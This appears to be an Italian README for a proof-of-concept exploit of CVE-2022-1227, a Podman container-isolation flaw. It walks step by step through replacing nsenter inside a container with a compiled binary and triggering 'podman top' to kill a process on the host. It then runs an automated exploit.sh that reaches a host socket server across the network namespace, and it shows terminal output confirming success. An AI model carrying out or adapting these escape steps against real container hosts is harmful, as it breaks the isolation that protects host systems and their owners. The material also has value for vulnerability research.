
Uno script per lo sfruttamento di CVE-2022-1227
Uno script per sfruttare CVE-2022-1227.
20.10 è raccomandato.4.0.0; 3.4.4 è raccomandato.TODO: aggiungere qual è il principio di questa vulnerabilità
Segui le istruzioni nel documento ufficiale: https://podman.io/getting-started/installation#installing-on-linux
Per Ubuntu 20.10, il comando di installazione dovrebbe essere:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
In questa sezione proviamo un semplice PoC per superare il confine del PID namespace e kill un processo sull'host.
Ecco i passaggi:
Esegui un container con il seguente comando: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
Esegui keep in ./exp/bin e ottieni il PID su cui è in esecuzione. Di solito mostra il suo PID sul terminale. Poiché il binario è impostato per dormire per 600 secondi, forse devi essere veloce per completare i passaggi successivi.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
Modifica il codice sorgente in ./exp/src/sendsig.c e inserisci il PID ottenuto nel passaggio precedente nella variabile pid.
int pid = OLD_VAL;
a
int pid = 7719;
Metti il binario compilato nel podman interno: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
Esegui podman top per attivare la vulnerabilità con: podman top -l
Se tutto funziona correttamente, il processo in esecuzione keep verrà ucciso immediatamente. Questo è insolito, perché normalmente i processi all'interno del container non possono inviare segnali ai processi sull'host a causa dell'isolamento del PID namespace.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed
In questa sezione, usiamo i socket per realizzare la comunicazione inter-processo tramite socket tra il client nel container e il server sull'host, cosa solitamente impossibile quando il meccanismo di isolamento è completo. Usiamo questa vulnerabilità per superare l'isolamento del net namespace e realizzare questo exploit.
Per prima cosa, entra nella directory con cd ./exp;
Semplicemente eseguendo ./exploit.sh, tutto verrà fatto automaticamente; se tutto funziona correttamente, il server mostrerà:
Hello from the container!
Significa che abbiamo attraversato il network namespace e siamo evasi.